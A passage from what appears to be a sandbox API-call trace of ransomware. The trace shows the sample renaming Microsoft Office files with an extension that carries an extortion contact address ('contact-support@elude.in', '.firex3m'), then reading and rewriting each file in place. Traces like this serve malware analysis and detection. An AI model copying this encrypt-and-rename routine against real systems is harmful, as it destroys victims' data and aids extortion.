lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.403] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x187107a5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x287a, dwReserved0=0xc1c7496, dwReserved1=0x6f60af0, cFileName="CUPINST.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CUPINS~1.FIR")) returned 0x6d5200 [0138.403] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0138.403] Sleep (dwMilliseconds=0x1) [0139.938] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms", len=0x52 | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 1 [0139.939] GetProcessHeap () returned 0x630000 [0139.939] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c6c) returned 0x7203db8 [0139.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0142.350] CloseHandle (hObject=0x6a0) returned 1 [0142.352] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.352] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.817] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.818] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe43bca74, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe43bca74, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe46ddba0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d63, dwReserved0=0x690066, dwReserved1=0x650072, cFileName="HomeStudentR_Grace-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HODC14~1.FIR")) returned 0x6d4e00 [0143.818] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0143.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0143.818] GetProcessHeap () returned 0x630000 [0143.818] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d81) returned 0x71da830 [0143.818] GetProcessHeap () returned 0x630000 [0143.818] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d81) returned 0x71dd5c0 [0143.818] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.818] ReadFile (in: hFile=0x6a0, lpBuffer=0x71da830, nNumberOfBytesToRead=0x2d60, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71da830*, lpNumberOfBytesRead=0x333ff0c*=0x2d60, lpOverlapped=0x0) returned 1 [0145.021] GetProcessHeap () returned 0x630000 [0145.021] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176598 [0145.022] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.022] WriteFile (in: hFile=0x6a0, lpBuffer=0x71dd5c0*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71dd5c0*, lpNumberOfBytesWritten=0x333ff0c*=0x2d60, lpOverlapped=0x0) returned 1 [0145.732] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.732] WriteFile (in: hFile=0x6a0, lpBuffer=0x71e031f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e031f*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.928] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.928] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.928] CloseHandle (hObject=0x6a0) returned 1 [0145.928] GetProcessHeap () returned 0x630000 [0145.928] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71dd5c0 | out: hHeap=0x630000) returned 1 [0145.928] GetProcessHeap () returned 0x630000 [0145.928] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71da830 | out: hHeap=0x630000) returned 1 [0145.928] GetProcessHeap () returned 0x630000 [0145.928] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176598 | out: hHeap=0x630000) returned 1 [0145.929] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.929] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe43bca74, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe43bca74, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1ced08ae, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d87, dwReserved0=0xc1c7496, dwReserved1=0x71da828, cFileName="HomeStudentR_Grace-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HODC14~1.FIR")) returned 0x6d5380 [0145.929] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0145.929] Sleep (dwMilliseconds=0x1) [0146.017] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXC", len=0x45 | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXC") returned 1 [0146.017] GetProcessHeap () returned 0x630000 [0146.017] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2784) returned 0x71f7c78 [0146.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0146.576] CloseHandle (hObject=0x710) returned 1 [0146.585] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.585] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.586] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa2f6cec, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa2f6cec, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa31ce71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~2.FIR")) returned 0x6d5580 [0146.586] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0146.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0146.586] GetProcessHeap () returned 0x630000 [0146.586] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6ecec90 [0146.586] GetProcessHeap () returned 0x630000 [0146.586] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6ece498 [0146.586] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.586] ReadFile (in: hFile=0x640, lpBuffer=0x6ecec90, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecec90*, lpNumberOfBytesRead=0x333ff0c*=0x260, lpOverlapped=0x0) returned 1 [0146.590] GetProcessHeap () returned 0x630000 [0146.590] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0146.590] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.590] WriteFile (in: hFile=0x640, lpBuffer=0x6ece498*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ece498*, lpNumberOfBytesWritten=0x333ff0c*=0x260, lpOverlapped=0x0) returned 1 [0146.590] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.590] WriteFile (in: hFile=0x640, lpBuffer=0x6ece6f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ece6f7*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.590] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.590] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.591] CloseHandle (hObject=0x640) returned 1 [0146.591] GetProcessHeap () returned 0x630000 [0146.591] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ece498 | out: hHeap=0x630000) returned 1 [0146.591] GetProcessHeap () returned 0x630000 [0146.591] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecec90 | out: hHeap=0x630000) returned 1 [0146.591] GetProcessHeap () returned 0x630000 [0146.591] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0146.591] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.591] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa2f6cec, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa2f6cec, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d5389e9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x333fd20, dwReserved1=0x6ecec90, cFileName="POWERPNT_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~2.FIR")) returned 0x6d5280 [0146.591] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.591] Sleep (dwMilliseconds=0x1) [0146.609] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXT", len=0x42 | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXT") returned 1 [0146.609] GetProcessHeap () returned 0x630000 [0146.609] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26e0) returned 0x71f7c78 [0146.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0146.609] CloseHandle (hObject=0x710) returned 1 [0146.609] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.609] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.610] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.610] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa2f6cec, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOUC_~3.FIR")) returned 0x6d5280 [0146.610] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0146.610] GetProcessHeap () returned 0x630000 [0146.610] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x717fe8 [0146.610] GetProcessHeap () returned 0x630000 [0146.610] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x718588 [0146.611] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.611] ReadFile (in: hFile=0x710, lpBuffer=0x717fe8, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717fe8*, lpNumberOfBytesRead=0x333ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0146.612] GetProcessHeap () returned 0x630000 [0146.612] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0146.612] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.612] WriteFile (in: hFile=0x710, lpBuffer=0x718588*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718588*, lpNumberOfBytesWritten=0x333ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0146.612] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.612] WriteFile (in: hFile=0x710, lpBuffer=0x718647*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718647*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.613] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.613] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.613] CloseHandle (hObject=0x710) returned 1 [0146.613] GetProcessHeap () returned 0x630000 [0146.613] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718588 | out: hHeap=0x630000) returned 1 [0146.613] GetProcessHeap () returned 0x630000 [0146.613] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717fe8 | out: hHeap=0x630000) returned 1 [0146.613] GetProcessHeap () returned 0x630000 [0146.613] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0146.613] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.613] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d55ef48, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x333fd20, dwReserved1=0x717fe8, cFileName="MSOUC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOUC_~3.FIR")) returned 0x6d4f40 [0146.613] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0146.613] Sleep (dwMilliseconds=0x1) [0146.631] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXC", len=0x42 | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXC") returned 1 [0146.631] GetProcessHeap () returned 0x630000 [0146.632] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26dc) returned 0x71f7c78 [0146.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0146.633] CloseHandle (hObject=0x710) returned 1 [0146.633] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.633] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.636] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.636] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b5d49a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b5d49a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b8364e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOUC_~4.FIR")) returned 0x6d52c0 [0146.637] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0146.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0146.638] GetProcessHeap () returned 0x630000 [0146.638] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6ece9e8 [0146.638] GetProcessHeap () returned 0x630000 [0146.638] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6ece498 [0146.638] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.638] ReadFile (in: hFile=0x710, lpBuffer=0x6ece9e8, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ece9e8*, lpNumberOfBytesRead=0x333ff0c*=0x260, lpOverlapped=0x0) returned 1 [0146.647] GetProcessHeap () returned 0x630000 [0146.647] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0146.647] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.647] WriteFile (in: hFile=0x710, lpBuffer=0x6ece498*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ece498*, lpNumberOfBytesWritten=0x333ff0c*=0x260, lpOverlapped=0x0) returned 1 [0146.647] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.647] WriteFile (in: hFile=0x710, lpBuffer=0x6ece6f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ece6f7*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.647] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.648] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, 